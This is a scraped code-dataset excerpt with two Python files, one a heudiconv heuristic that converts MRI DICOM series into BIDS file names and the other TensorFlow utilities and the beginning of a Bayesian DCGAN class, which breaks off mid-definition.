re.match(\"(([^_]*)_)?([a-zA-Z0-9]*)_([a-zA-Z0-9]*)\", patient_name)\n study_name = rema.group(2)\n subject_id = rema.group(3)\n session_id = rema.group(4)\n\n locator = os.path.join(pi, *study_path)\n\n return {\n# \"locator\": locator,\n # Sessions to be deduced yet from the names etc TODO\n \"session\": session_id,\n \"subject\": subject_id,\n }\n\n\ndef get_task(s):\n mtch = re.match(\".*_task\\-([^_]+).*\", s.series_id)\n if mtch is None:\n mtch = re.match(\".*\\-task_([^_]+).*\", s.series_id)# for floc messup\n if mtch is not None:\n task = mtch.group(1).split(\"-\")\n if len(task) > 1:\n return task[1]\n return task[0]\n else:\n return None\n\n\ndef get_run(s):\n mtch = re.match(\".*run\\-([^_]+).*\", s.series_id)\n if mtch is not None:\n return mtch.group(1)\n else:\n return None\n\n\nrec_exclude = [\n \"ORIGINAL\",\n \"PRIMARY\",\n \"M\",\n \"P\",\n \"MB\",\n \"ND\",\n \"MOSAIC\",\n \"NONE\",\n \"DIFFUSION\",\n \"UNI\",\n] + [f\"TE{i}\" for i in range(9)]\n\n\ndef get_seq_bids_info(s):\n\n seq = {\n \"type\": \"anat\", # by default to make code concise\n \"label\": None,\n }\n\n seq_extra = {}\n for it in s.image_type[2:]:\n if it not in rec_exclude:\n seq_extra[\"rec\"] = it.lower()\n seq_extra[\"part\"] = \"mag\" if \"M\" in s.image_type else (\"phase\" if \"P\" in s.image_type else None)\n \n try:\n pedir = s.custom['pe_dir']\n if \"COL\" in pedir:\n pedir = \"AP\"\n else:\n pedir = \"LR\"\n pedir_pos = bool(\n s.custom['pe_dir_pos']\n )\n\n seq[\"dir\"] = pedir if pedir_pos else pedir[::-1]\n except:\n pass\n\n # label bodypart which are not brain, mainly for spine if we set the dicom fields at the console properly\n bodypart = s.custom['body_part'] #ex_dcm.dcm_data.get(\"BodyPartExamined\", None)\n if bodypart is not None and bodypart != \"BRAIN\":\n seq[\"bp\"] = bodypart.lower()\n print(seq)\n\n scan_options = s.custom['scan_options'] #ex_dcm.dcm_data.get(\"ScanOptions\", None)\n image_comments = s.custom['image_comments'] #ex_dcm.dcm_data.get(\"ImageComments\", [])\n\n # CMRR bold and dwi\n is_sbref = \"Single-band reference\" in image_comments\n print(s, is_sbref)\n\n # Anats\n if \"localizer\" in s.protocol_name.lower():\n seq[\"label\"] = \"localizer\"\n slice_orient = s.custom['slice_orient'] #ex_dcm.dcm_data.get([0x0051,0x100e]) \n# if slice_orient is not None:\n# seq['acq'] = slice_orient.value.lower()\n elif \"AAHead_Scout\" in s.protocol_name:\n seq[\"label\"] = \"scout\"\n elif (\n (s.dim4 == 1)\n and (\"T1\" in s.protocol_name)\n and (\"tfl3d1_16ns\" in s.sequence_name)\n ):\n seq[\"label\"] = \"T1w\"\n elif (\n (s.dim4 == 1) and (\"T2\" in s.protocol_name) and (\"spc_314ns\" in s.sequence_name)\n ):\n seq[\"label\"] = \"T2w\"\n elif (\n (\"*tfl3d1_16\" in s.sequence_name)\n and (s.dim4 == 1)\n and (\"mp2rage\" in s.protocol_name)\n and not (\"memp2rage\" in s.protocol_name)\n ):\n seq[\"label\"] = \"MP2RAGE\"\n if \"INV1\" in s.series_description:\n seq[\"inv\"] = 1\n elif \"INV2\" in s.series_description:\n seq[\"inv\"] = 2\n elif \"UNI\" in s.image_type:\n # seq['acq'] = 'UNI'\n seq[\"label\"] = \"UNIT1\" # TODO: validate\n\n # elif (s.dim4 == 1) and ('MTw' in s.protocol_name):\n # seq['label'] = 'MTw'\n # seq['acq'] = 'off'\n # if 'On' in s.protocol_name:\n # seq['acq'] = 'on'\n\n # GRE acquisition\n elif \"*fl3d1\" in s.sequence_name:\n seq[\"label\"] = \"MTS\"\n seq[\"mt\"] = \"on\" if scan_options == \"MT\" else \"off\"\n # do not work for multiple flip-angle, need data to find how to detect index\n seq[\"flip\"] = 2 if 'T1w' in s.series_id else 1\n\n elif \"tfl2d1\" in s.sequence_name:\n seq[\"type\"] = \"fmap\"\n seq[\"label\"] = \"TB1TFL\"\n seq[\"acq\"] = \"famp\" if \"flip angle map\" in image_comments else \"anat\"\n\n elif \"fm2d2r\" in s.sequence_name:\n seq[\"type\"] = \"fmap\"\n seq[\"label\"] = \"phasediff\" if \"phase\" in s.image_type else \"magnitude%d\"%s.custom['echo_number'] \n \n # SWI\n elif (s.dim4 == 1) and (\"swi3d1r\" in s.sequence_name):\n seq[\"type\"] = \"swi\"\n if not (\"MNIP\" in s.image_type):\n seq[\"label\"] = \"swi\"\n else:\n seq[\"label\"] = \"minIP\"\n\n # Siemens or CMRR diffusion sequence, exclude DERIVED (processing at the console)\n elif (\n (\"ep_b\" in s.sequence_name)\n or (\"ez_b\" in s.sequence_name)\n or (\"epse2d1_110\" in s.sequence_name)\n ) and not any(it in s.image_type for it in [\"DERIVED\", \"PHYSIO\"]):\n seq[\"type\"] = \"dwi\"\n seq[\"label\"] = \"sbref\" if is_sbref else \"dwi\"\n\n # dumb far-fetched heuristics, no info in dicoms see https://github.com/CMRR-C2P/MB/issues/305\n seq_extra[\"part\"] = 'phase' if s.custom['rescale_slope'] else 'mag'\n\n\n # CMRR or Siemens functional sequences\n elif \"epfid2d\" in s.sequence_name:\n seq[\"task\"] = get_task(s)\n\n # if no task, this is a fieldmap\n if \"AP\" in s.series_id and not seq[\"task\"]:\n seq[\"type\"] = \"fmap\"\n seq[\"label\"] = \"epi\"\n seq[\"acq\"] = \"sbref\" if is_sbref else \"bold\"\n else:\n seq[\"type\"] = \"func\"\n seq[\"label\"] = \"sbref\" if is_sbref else \"bold\"\n\n seq[\"run\"] = get_run(s)\n if s.is_motion_corrected:\n seq[\"rec\"] = \"moco\"\n\n \n ################## SPINAL CORD PROTOCOL #####################\n elif \"spcR_100\" in s.sequence_name:\n seq[\"label\"] = \"T2w\"\n # seq['bp'] = 'spine'\n elif \"*me2d1r3\" in s.sequence_name:\n seq[\"label\"] = \"T2starw\"\n\n if seq[\"label\"] == \"sbref\" and \"part\" in seq:\n del seq[\"part\"]\n \n return seq, seq_extra\n\n\ndef generate_bids_key(seq_type, seq_label, prefix, bids_info, show_dir=False, outtype=(\"nii.gz\",), **bids_extra):\n bids_info.update(bids_extra)\n suffix_parts = [\n None if not bids_info.get(\"task\") else \"task-%s\" % bids_info[\"task\"],\n None if not bids_info.get(\"acq\") else \"acq-%s\" % bids_info[\"acq\"],\n None if not bids_info.get(\"ce\") else \"ce-%s\" % bids_info[\"ce\"],\n None\n if not (bids_info.get(\"dir\") and show_dir)\n else \"dir-%s\" % bids_info[\"dir\"],\n None if not bids_info.get(\"rec\") else \"rec-%s\" % bids_info[\"rec\"],\n None if not bids_info.get(\"inv\") else \"inv-%d\" % bids_info[\"inv\"],\n None if not bids_info.get(\"tsl\") else \"tsl-%d\" % bids_info[\"tsl\"],\n None if not bids_info.get(\"loc\") else \"loc-%s\" % bids_info[\"loc\"],\n None if not bids_info.get(\"bp\") else \"bp-%s\" % bids_info[\"bp\"],\n None if not bids_info.get(\"run\") else \"run-%02d\" % int(bids_info[\"run\"]),\n None if not bids_info.get(\"echo\") else \"echo-%d\" % int(bids_info[\"echo\"]),\n None if not bids_info.get(\"flip\") else \"flip-%d\" % int(bids_info[\"flip\"]),\n None if not bids_info.get(\"mt\") else \"mt-%s\" % bids_info[\"mt\"],\n None if not bids_info.get(\"part\") else \"part-%s\" % bids_info[\"part\"],\n seq_label,\n ]\n # filter those which are None, and join with _\n suffix = \"_\".join(filter(bool, suffix_parts))\n \n return create_key(seq_type, suffix, prefix=prefix, outtype=outtype)\n\n\ndef infotodict(seqinfo):\n \"\"\"Heuristic evaluator for determining which runs belong where\n\n allowed template fields - follow python string module:\n\n item: index within category\n subject: participant id\n seqitem: run number during scanning\n subindex: sub index within group\n session: scan index for longitudinal acq\n \"\"\"\n\n #lgr.info(\"Processing %d seqinfo entries\", len(seqinfo))\n #lgr.info(seqinfo)\n\n info = OrderedDict()\n skipped, skipped_unknown = [], []\n current_run = 0\n run_label = None # run-\n dcm_image_iod_spec = None\n skip_derived = True\n\n outtype = (\"nii.gz\",)\n sbref_as_fieldmap = True # duplicate sbref in fmap dir to be used by topup\n #sbref_as_fieldmap = False # sbref as fieldmaps is still required to use fMRIPrep LTS.\n prefix = \"\"\n\n fieldmap_runs = {}\n all_bids_infos = {}\n\n for s in seqinfo:\n \n #ex_dcm = load_example_dcm(s)\n\n bids_info, bids_extra = get_seq_bids_info(s)\n all_bids_infos[s.series_id] = (bids_info, bids_extra)\n\n # XXX: skip derived sequences, we don't store them to avoid polluting\n # the directory, unless it is the motion corrected ones\n # (will get _rec-moco suffix)\n if (\n skip_derived\n and (s.is_derived or (\"MPR\" in s.image_type))\n and not s.is_motion_corrected\n and not \"UNI\" in s.image_type\n ):\n skipped.append(s.series_id)\n lgr.debug(\"Ignoring derived data %s\", s.series_id)\n continue\n\n seq_type = bids_info[\"type\"]\n seq_label = bids_info[\"label\"]\n\n if (seq_type == \"fmap\" and seq_label == \"epi\" and bids_extra['part']=='phase' and seq_label=='bold'):\n continue\n \n if ((seq_type == \"fmap\" and seq_label == \"epi\") or\n (sbref_as_fieldmap and seq_label == \"sbref\" and seq_type=='bold')\n ) and bids_info.get(\"part\") in [\"mag\", None]:\n pe_dir = bids_info.get(\"dir\", None)\n if not pe_dir in fieldmap_runs:\n fieldmap_runs[pe_dir] = 0\n fieldmap_runs[pe_dir] += 1\n # override the run number\n run_id = fieldmap_runs[pe_dir]\n\n # duplicate sbref to be used as fieldmap\n if sbref_as_fieldmap and seq_label == \"sbref\":\n suffix_parts = [\n \"acq-sbref\",\n None if not bids_info.get(\"ce\") else \"ce-%s\" % bids_info[\"ce\"],\n None if not pe_dir else \"dir-%s\" % bids_info[\"dir\"],\n \"run-%02d\" % run_id,\n \"epi\",\n ]\n suffix = \"_\".join(filter(bool, suffix_parts))\n template = create_key(\"fmap\", suffix, prefix=prefix, outtype=outtype)\n if template not in info:\n info[template] = []\n info[template].append(s.series_id)\n\n show_dir = seq_type in [\"fmap\", \"dwi\"] and not seq_label=='TB1TFL'\n\n template = generate_bids_key(seq_type, seq_label, prefix, bids_info, show_dir, outtype)\n\n if template not in info:\n info[template] = []\n info[template].append(s.series_id)\n \n\n if skipped:\n lgr.info(\"Skipped %d sequences: %s\" % (len(skipped), skipped))\n if skipped_unknown:\n lgr.warning(\n \"Could not figure out where to stick %d sequences: %s\"\n % (len(skipped_unknown), skipped_unknown)\n )\n\n info = dedup_bids_extra(info, all_bids_infos)\n info = get_dups_marked(info) # mark duplicate ones with __dup-0x suffix\n\n info = dict(\n info\n ) # convert to dict since outside functionality depends on it being a basic dict\n\n for k, i in info.items():\n lgr.info(f\"{k} {i}\")\n\n return info\n\n\ndef dedup_bids_extra(info, bids_infos):\n # add `rec-` or `part-` to dedup series originating from the same acquisition\n info = info.copy()\n for template, series_ids in list(info.items()):\n if len(series_ids) >= 2:\n lgr.warning(\"Detected %d run(s) for template %s: %s\",\n len(series_ids), template[0], series_ids)\n\n for extra in [\"rec\", \"part\"]:\n \n bids_extra_values = [bids_infos[sid][1].get(extra) for sid in series_ids]\n\n if len(set(bids_extra_values)) < 2:\n continue #does not differentiate series\n\n lgr.info(f\"dedup series using {extra}\")\n\n for sid in list(series_ids): #need a copy of list because we are removing elements in that loop\n\n series_bids_info, series_bids_extra = bids_infos[sid]\n\n new_template = generate_bids_key(\n series_bids_info[\"type\"],\n series_bids_info[\"label\"],\n \"\",\n series_bids_info,\n show_dir=series_bids_info[\"type\"] in [\"fmap\", \"dwi\"],\n outtype=(\"nii.gz\",),\n **{extra: series_bids_extra.get(extra)})\n\n if new_template not in info:\n info[new_template] = []\n info[new_template].append(sid)\n info[template].remove(sid)\n if not len(info[template]):\n del info[template]\n break\n return info\n","repo_name":"courtois-neuromod/ds_prep","sub_path":"mri/convert/heuristics_unf.py","file_name":"heuristics_unf.py","file_ext":"py","file_size_in_byte":15038,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"71426619098","text":"\"\"\" Reference\r\n 1. https://github.com/carpedm20/DCGAN-tensorflow/blob/master/model.py\r\n 2.\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.gridspec as gridspec\r\nimport os\r\nimport math\r\nimport time\r\n\r\nfrom collections import OrderedDict, defaultdict\r\nimport tensorflow as tf\r\nfrom sklearn import mixture\r\n\r\nimport warnings\r\nwarnings.simplefilter(action='ignore', category=FutureWarning)\r\n\r\n\r\n# Function to plot an MNIST image generated\r\n# - plot 8*8 images\r\ndef plot_generated_mnist_images(samples, size=(8, 8)):\r\n fig = plt.figure(figsize=size);\r\n gs = gridspec.GridSpec(size[0], size[1]);\r\n gs.update(wspace=0.05, hspace=0.05);\r\n\r\n for i, sample in enumerate(samples):\r\n ax = plt.subplot(gs[i]);\r\n plt.axis(\"off\");\r\n plt.imshow(sample.reshape(28, 28));\r\n\r\n return fig;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef one_hot_encoder(class_numbers, num_classes):\r\n return np.eye(num_classes, dtype=float)[class_numbers];\r\n\r\n\r\nclass AttributeDict(dict):\r\n \"\"\"\r\n A class to use Dictionary in convenient way\r\n i.e object[\"key\"] => object.key\r\n \"\"\"\r\n def __getattr__(self, attr):\r\n return self[attr];\r\n\r\n def __setattr__(self, attr, value):\r\n self[attr] = value;\r\n\r\n def __hash__(self):\r\n return hash(tuple(sorted(self.items())));\r\n\r\n\r\ndef print_images(sampled_images, label, index, directory, save_all_samples=False):\r\n import matplotlib as mpl;\r\n mpl.use(\"Agg\");\r\n\r\n def un_normalize(img, cdim):\r\n img_out = np.zeros_like(img);\r\n for i in range(cdim):\r\n img_out[:, :, i] = 255.*((img[:, :, i] +1.)/2.0);\r\n\r\n img_out = img_out.astype(np.uint8);\r\n return img_out;\r\n\r\n if type(sampled_images) == np.ndarray:\r\n N, h, w, cdim = sampled_images.shape;\r\n idxs = np.random.choice(np.arange(N), size=(5, 5), replace=False);\r\n else:\r\n sampled_imgs, sampled_probs = sampled_images;\r\n sampled_images = sampled_imgs[sampled_probs.argsort()[::-1]];\r\n idxs = np.arange(5*5).reshape((5,5));\r\n N, h, w, cdim = sampled_images.shape;\r\n\r\n\r\n fig, axes = plt.subplots(5, 5);\r\n for i in range(5):\r\n for j in range(5):\r\n if cdim == 1:\r\n axes[i, j].imshow(un_normalize(sampled_images[idxs[i, j]], cdim)[:, :, 0], cmap=\"gray\");\r\n else:\r\n axes[i, j].imshow(un_normalize(sampled_images[idxs[i, j]], cdim));\r\n\r\n axes[i, j].axis(\"off\");\r\n axes[i, j].set_xticklabels([]);\r\n axes[i, j].set_yticklabels([]);\r\n axes[i, j].set_aspect(\"equal\");\r\n\r\n\r\n if not os.path.exists(directory):\r\n os.makedirs(directory);\r\n\r\n fig.savefig(os.path.join(directory + \"{}_{}.png\".format(label, index)),\r\n bbox_inches=\"tight\");\r\n plt.close(\"all\");\r\n\r\n if \"raw\" not in label.lower() and save_all_samples:\r\n np.savez_compressed(os.path.join(directory, \"samples_{}_{}.npz\".format(label, index)),\r\n samples=sampled_images);\r\n\r\n\r\nclass FigPrinter:\r\n\r\n def __init__(self, subplot_arg):\r\n import matplotlib as mpl\r\n mpl.use(\"Agg\");\r\n self.fig, self.axes = plt.subplots(*subplot_arg);\r\n\r\n def print_to_file(self, file_name, close_on_exit=True):\r\n import matplotlib as mpl\r\n mpl.use(\"Agg\");\r\n\r\n self.fig.savefig(file_name, bbox_inches=\"tight\");\r\n if close_on_exit:\r\n plt.close(\"all\");\r\n\r\n\r\n\r\n\r\n\r\n\r\n\"\"\" A function for batch normalization layer \"\"\"\r\nclass batch_norm(object):\r\n def __init__(self, epsilon=1e-5, momentum=0.9, name=\"batch_norm\"):\r\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\r\n self.epsilon = epsilon;\r\n self.momentum = momentum;\r\n self.name = name;\r\n\r\n def __call__(self, x, train=True):\r\n return tf.contrib.layers.batch_norm(x,\r\n decay=self.momentum,\r\n updates_collections=None,\r\n epsilon=self.epsilon,\r\n scale=True,\r\n is_training=train,\r\n scope=self.name);\r\n\r\n\r\n\"\"\" Functions for Convolution/inverse_Convolution/Full-connected layers \"\"\"\r\ndef conv2d(input_, output_dim, k_h=5, k_w=5, d_h=2, d_w=2, stddev=0.02,\r\n w=None, biases=None, name=\"conv2d\"):\r\n \"\"\" Make a convolution layer\r\n :param input_: input data\r\n :param output_dim: dim of output\r\n :param k_h: height of kernel(window)\r\n :param k_w: width of kernel(window)\r\n :param d_h: height of stride\r\n :param d_w: width of stride\r\n :param stddev: standard deviation for initializing w\r\n :param w: weight variables for convolution layer\r\n :param biases: bias variables for convolution layer\r\n :param name: variable name for tensorflow graph\r\n :return: output of convolution layer\r\n \"\"\"\r\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\r\n if w is None:\r\n w = tf.get_variable('w', [k_h, k_w, input_.get_shape()[-1], output_dim],\r\n initializer=tf.truncated_normal_initializer(stddev=stddev));\r\n\r\n conv = tf.nn.conv2d(input_, w, strides=[1, d_h, d_w, 1], padding=\"SAME\");\r\n\r\n if biases is None:\r\n biases = tf.get_variable('biases', [output_dim],\r\n initializer=tf.constant_initializer(0.0));\r\n\r\n conv = tf.reshape(tf.nn.bias_add(conv, biases), conv.get_shape());\r\n return conv;\r\n\r\n\r\ndef deconv2d(input_, output_shape, k_h=5, k_w=5, d_h=2, d_w=2, stddev=0.02,\r\n name=\"deconv2d\", with_w=False, w=None, biases=None):\r\n \"\"\" Make a transposed_convolution layer\r\n :param input_: input data\r\n :param output_shape: shape of output\r\n :param k_h: height of kernel(window)\r\n :param k_w: width of kernel(window)\r\n :param d_h: height of stride\r\n :param d_w: width of stride\r\n :param stddev: standard deviation for initializing w\r\n :param name: variable name for tensorflow graph\r\n :param with_w: True => return w and biases also\r\n :param w: weight variables for convolution layer\r\n :param biases: bias variables for convolution layer\r\n :return: output of transposed_convolution layer\r\n \"\"\"\r\n\r\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\r\n # filter = [h, w, output_channels, in_channels]\r\n if w is None:\r\n w = tf.get_variable('w', [k_h, k_w, output_shape[-1], input_.get_shape()[-1]],\r\n initializer=tf.random_normal_initializer(stddev=stddev));\r\n\r\n deconv = tf.nn.conv2d_transpose(input_, w, output_shape=output_shape,\r\n strides=[1, d_h, d_w, 1]);\r\n\r\n if biases is None:\r\n biases = tf.get_variable('biases', [output_shape[-1]],\r\n initializer=tf.constant_initializer(0.0));\r\n\r\n deconv = tf.reshape(tf.nn.bias_add(deconv, biases), deconv.get_shape());\r\n\r\n if with_w:\r\n return deconv, w, biases;\r\n else:\r\n return deconv;\r\n\r\n\r\ndef linear(input_, output_size, scope=None, stddev=0.02, bias_start=0.0,\r\n with_w=False, matrix=None, bias=None):\r\n\r\n \"\"\" Make a full-connected layer\r\n :param input_: input data\r\n :param output_size: size of output\r\n :param scope: variable scope for tensorflow graph\r\n :param stddev: standard deviation for initializing w\r\n :param bias_start:\r\n :param with_w: True => return w and biases also\r\n :param matrix: weight variables for full-connected layer\r\n :param bias: bias variables for full-connected layer\r\n :return: output of full-connected layer\r\n \"\"\"\r\n shape = input_.get_shape().as_list();\r\n\r\n with tf.variable_scope(scope or \"Linear\",reuse=tf.AUTO_REUSE):\r\n if matrix is None:\r\n matrix = tf.get_variable(\"Matrix\", [shape[1], output_size], tf.float32,\r\n tf.random_normal_initializer(stddev=stddev));\r\n\r\n if bias is None:\r\n bias = tf.get_variable(\"bias\", [output_size],\r\n initializer=tf.constant_initializer(bias_start))\r\n\r\n if with_w:\r\n return tf.matmul(input_, matrix) + bias, matrix, bias;\r\n else:\r\n return tf.matmul(input_, matrix) + bias;\r\n\r\n\r\n\"\"\" Some util functions for Convolution\r\nout_size = (input_size + 2padding - kernel_size)/stride + 1\r\n\"\"\"\r\ndef conv_out_size(size, stride):\r\n co = int(math.ceil(size / float(stride)));\r\n return co;\r\n\r\n\r\ndef kernel_sizer(size, stride):\r\n ko = int(math.ceil(size / float(stride)));\r\n\r\n if ko % 2 == 0:\r\n ko = ko+1;\r\n return ko;\r\n\r\n\r\ndef get_strides(num_layers, num_pool):\r\n interval = int(math.floor(num_layers/float(num_pool)));\r\n strides = np.array([1]*num_layers);\r\n strides[0:interval*num_pool:interval] = 2;\r\n return strides;\r\n\r\n#TODO\r\n\"\"\" Huber loss \r\nReference : https://en.wikipedia.org/wiki/Huber_loss(다시보기)\r\n - a loss function used in robust regression\r\n , which is less sensitive to outliers in data than the squared error loss\r\n 1. Original Definition\r\n : L_delta(a) \r\n = 0.5*pow(a, 2) ,if abs(a) < delta\r\n = delta(abs(a) - 0.5delta) ,otherwise\r\n \r\n 2. Let a = y - f(x) where y: real value(label) and f(x): predicted value.\r\n Then the Huber loss between real and predicted values is given by\r\n : L_delta(real, pred)\r\n = 0.5*pow(real - pred, 2) ,if abs(real-pred) < delta\r\n = delta(abs(real - pred) -0.5pow(delta, 2) ,otherwise\r\n \r\n : L_delta(real, pred)\r\n = 0.5*pow(res, 2) ,if res < delta\r\n = delta*res - 0.5pow(delta, 2) ,otherwise\r\n where res = abs(real - pred) \r\n\"\"\"\r\ndef huber_loss(labels, predictions, delta=1.0):\r\n residual = tf.abs(predictions - labels);\r\n condition = tf.less(residual, delta);\r\n ret1 = 0.5 * tf.square(residual);\r\n ret2 = delta*residual - 0.5*tf.square(delta);\r\n\r\n return tf.where(condition, ret1, ret2);\r\n\r\n\r\n\"\"\" Classes for datasets\"\"\"\r\nclass MNIST:\r\n def __init__(self, data_dir=\"./mnist/data/\"):\r\n from tensorflow.examples.tutorials.mnist import input_data;\r\n self.mnist = input_data.read_data_sets(data_dir, one_hot=True);\r\n self.x_dim = [28, 28, 1];\r\n self.num_classes = 10;\r\n self.dataset_size = self.mnist.train.images.shape[0];\r\n\r\n\r\n def next_batch(self, batch_size, class_id=None):\r\n \"\"\"\r\n :param batch_size: batch size\r\n :param class_id: an integer for the digit to sample images from mnist\r\n :return: batch data\r\n \"\"\"\r\n if class_id is None:\r\n image_batch, labels = self.mnist.train.next_batch(batch_size);\r\n new_image_batch = np.array([(image_batch[n] * 2. - 1.).reshape((28, 28, 1))\r\n for n in range(image_batch.shape[0])]);\r\n\r\n return new_image_batch, labels;\r\n else:\r\n class_id_batch = np.array([]);\r\n while class_id_batch.shape[0] < batch_size:\r\n image_batch, labels = self.mnist.train.next_batch(batch_size);\r\n image_batch = np.array([(image_batch[n]*2. - 1.).reshape((28, 28, 1))\r\n for n in range(image_batch.shape[0])]);\r\n\r\n class_id_idx = np.argmax(labels, axis=1) == class_id;\r\n\r\n if len(class_id_idx) > 0:\r\n if class_id_batch.shape[0] == 0:\r\n class_id_batch = image_batch[class_id_batch];\r\n else:\r\n class_id_batch = np.concatenate([class_id_batch, image_batch[class_id_idx]]);\r\n\r\n labels = np.zeros((batch_size, 10));\r\n labels[:, class_id] = 1.0;\r\n return class_id_batch[:batch_size], labels;\r\n\r\n\r\n def test_batch(self, batch_size):\r\n image_batch, labels = self.mnist.test.next_batch(batch_size);\r\n new_image_batch = np.array([(image_batch[n] * 2. - 1.).reshape((28, 28, 1))\r\n for n in range(image_batch.shape[0])]);\r\n\r\n return new_image_batch, labels;\r\n\r\n def get_test_set(self):\r\n test_imgs = self.mnist.test.images;\r\n test_images = np.array([(test_imgs[n]*2. - 1.).reshape((28, 28, 1))\r\n for n in range(test_imgs.shape[0])]);\r\n test_labels = self.mnist.test.labels;\r\n\r\n return test_images, test_labels;\r\n\r\n\r\n\r\n\r\n\r\n\"\"\" Main : Bayesian GAN \"\"\"\r\nclass BDCGAN(object):\r\n def __init__(self, x_dim, z_dim, dataset_size, batch_size=64,\r\n g_filter=64, d_filter=64,prior_std=1.0, num_layer=4,\r\n num_classes=2,\r\n J=1, M=1, J_d=None, eta=2e-4,\r\n alpha=0.01, lr=0.0002, optimizer=\"adam\",\r\n DCGAN=False):\r\n \"\"\"\r\n ================================================================\r\n \r\n :param x_dim: dim of input data(e.g mnist) for D\r\n :param z_dim: dim of input data(noise) for G\r\n :param dataset_size: the size of data in real data distribution\r\n :param batch_size: batch size for mini-batch training\r\n :param g_filter: dimension of convolution filter for G\r\n :param d_filter: dimension of convolution filter for D\r\n :param prior_std: Neural network prior std\r\n :param num_layer: the number of layers in the network (G or D)\r\n ================================================================\r\n # TODO\r\n \r\n : (Stochastic Gradient Hamiltonian Monte Carlo)\r\n :param J: the number of MC-samples of z to integrate in G (paper J_g)\r\n :param M: the number of samplings in SGHMC\r\n :param J_d: the number of MC-samples of z to integrate in D\r\n :param eta:\r\n :param alpha:\r\n ================================================================\r\n Classic DCGAN / False=>Bayesian GAN\r\n \"\"\"\r\n channels = x_dim[2];\r\n\r\n self.is_gray = (channels==1);\r\n self.optimizer = optimizer.lower();\r\n self.dataset_size = dataset_size;\r\n self.batch_size = batch_size;\r\n\r\n self.K = num_classes #Fake or real classes\r\n self.x_dim = x_dim;\r\n self.z_dim = z_dim;\r\n\r\n self.g_filter = g_filter;\r\n self.d_filter = d_filter;\r\n self.channels = channels;\r\n\r\n self.lr = lr;\r\n\r\n\r\n # Information for Bayes GAN\r\n self.prior_std = prior_std;\r\n self.num_G = J;\r\n self.num_D = J_d if J_d is not None else 1;\r\n self.num_mcmc = M;\r\n self.eta = eta;\r\n self.alpha = alpha;\r\n\r\n # Information for classic DCGAN\r\n self.DCGAN = DCGAN;\r\n if self.DCGAN:\r\n assert self.num_G == 1 and self.num_D == 1 and self.num_mcmc == 1, \\\r\n \"Invalid settings(J, J_d, M) for Classic DCGAN\";\r\n # TODO\r\n self.noise_std = np.sqrt(2*self.alpha*self.eta);\r\n # TODO\r\n self.num_pool = 4;\r\n # max_num_dfs : maximum number of filters\r\n self.max_num_dfs = 512;\r\n # G_strides : stride for G\r\n self.G_strides = get_strides(num_layer, self.num_pool);\r\n # D_strides = stride for D\r\n self.D_strides = self.G_strides;\r\n\r\n\r\n\r\n num_dfs = np.cumprod(np.array([self.d_filter] + list(self.D_strides)))[:-1];\r\n\r\n num_dfs[num_dfs >= self.max_num_dfs] = self.max_num_dfs;\r\n\r\n # num_d_features : list of the number of features in layers for D\r\n self.num_d_features = list(num_dfs);\r\n # num_g_features : list of the number of features in layers for G\r\n # : inverse of num_d_filters\r\n self.num_g_features = self.num_d_features[::-1];\r\n\r\n # D_batch_norm : Dictionary for Batch normalization layers for D\r\n self.D_batch_norm = None;\r\n # D_weight_dims : List of dimensions for W in each layer of D\r\n self.D_weight_dims = OrderedDict();\r\n # D_kernel_sizes : List of kernel size in Convolution layer in D\r\n self.D_kernel_sizes = None;\r\n\r\n # G_batch_norm : Dictionary for Batch normalization layers for G\r\n self.G_batch_norm = None;\r\n self.G_output_dims = OrderedDict();\r\n # G_weight_dims : dimensions for W in each layer of G\r\n self.G_weight_dims = OrderedDict();\r\n # G_kernel_sizes : List of kernel size in Convolution layer in G\r\n self.G_kernel_sizes = None;\r\n\r\n self.inputs = None;\r\n self.z = None;\r\n self.z_sampler = None;\r\n self.G_param_list = None;\r\n self.D_param_list = None;\r\n\r\n self.D_learning_rate = None;\r\n self.D_vars = None;\r\n\r\n # d_losses : list of d_loss of each D in SGHMC\r\n # d_train_ops : list minimizing operator of each D in SGHMC\r\n # d_train_ops_adam :\r\n self.d_losses, self.d_train_ops, self.d_train_ops_adam = None, None, None;\r\n\r\n self.G_learning_rate = None;\r\n self.G_vars = None;\r\n # g_losses : list of d_loss of each G in SGHMC\r\n # g_train_ops : list minimizing operator of each G in SGHMC\r\n # g_train_ops_adam :\r\n self.g_losses, self.g_train_ops, self.g_train_ops_adam = None, None, None;\r\n\r\n self.G_sampler = None;\r\n\r\n self.construct_from_hypers(g_kernel_size=5, g_strides=[2,2,2,2],\r\n d_kernel_size=5, d_strides=[2,2,2,2],\r\n num_dfs=self.num_d_features,\r\n num_gfs=self.num_g_features);\r\n\r\n\r\n\r\n self.build_graph();\r\n\r\n def construct_from_hypers(self,\r\n g_kernel_size=5, g_strides=[2,2,2,2],\r\n d_kernel_size=5, d_strides=[2,2,2,2],\r\n num_dfs=None, num_gfs=None):\r\n \"\"\"\r\n 1. _batch_norm : a list of batch normalization layer\r\n 2. _weight_dims : a ordered dict of tuples of the shape of W and b in each layer\r\n 3.\r\n :param g_kernel_size: starting kernel size of G\r\n :param g_strides: a list of strides of layers in G\r\n :param d_kernel_size: starting kernel size of D\r\n :param d_strides: a list of strides of layers in D\r\n :param num_dfs: list of the number of filters in Convolution layers for D\r\n :param num_gfs: list of the number of filters in Convolution layers for G\r\n \"\"\"\r\n\r\n\r\n\r\n self.D_batch_norm = AttributeDict([(\"d_bn\"+str(i), batch_norm(name=\"d_bn\"+str(i)))\r\n for i in range(len(d_strides))]);\r\n self.G_batch_norm = AttributeDict([(\"g_bn\"+str(i), batch_norm(name=\"g_bn\"+str(i)))\r\n for i in range(len(g_strides))]);\r\n\r\n if num_dfs is None:\r\n # Default : 64 -> 128 -> 256 -> 512\r\n num_dfs = [self.d_filter, self.d_filter*2, self.d_filter*4, self.d_filter*8];\r\n\r\n if num_gfs is None:\r\n # Default : 512 -> 256 -> 128 -> 64\r\n num_gfs = [self.g_filter*8, self.g_filter*4, self.g_filter*2, self.g_filter];\r\n\r\n\r\n # Check the validation of hyper-parameters\r\n assert len(g_strides) == len(num_gfs), \"Invalid Hyper-parameters\"\r\n assert len(d_strides) == len(num_dfs), \"Invalid Hyper-parameters\"\r\n\r\n\r\n\r\n # Generator\r\n g_h, g_w = self.x_dim[0], self.x_dim[1];\r\n ks = g_kernel_size;\r\n self.G_kernel_sizes = 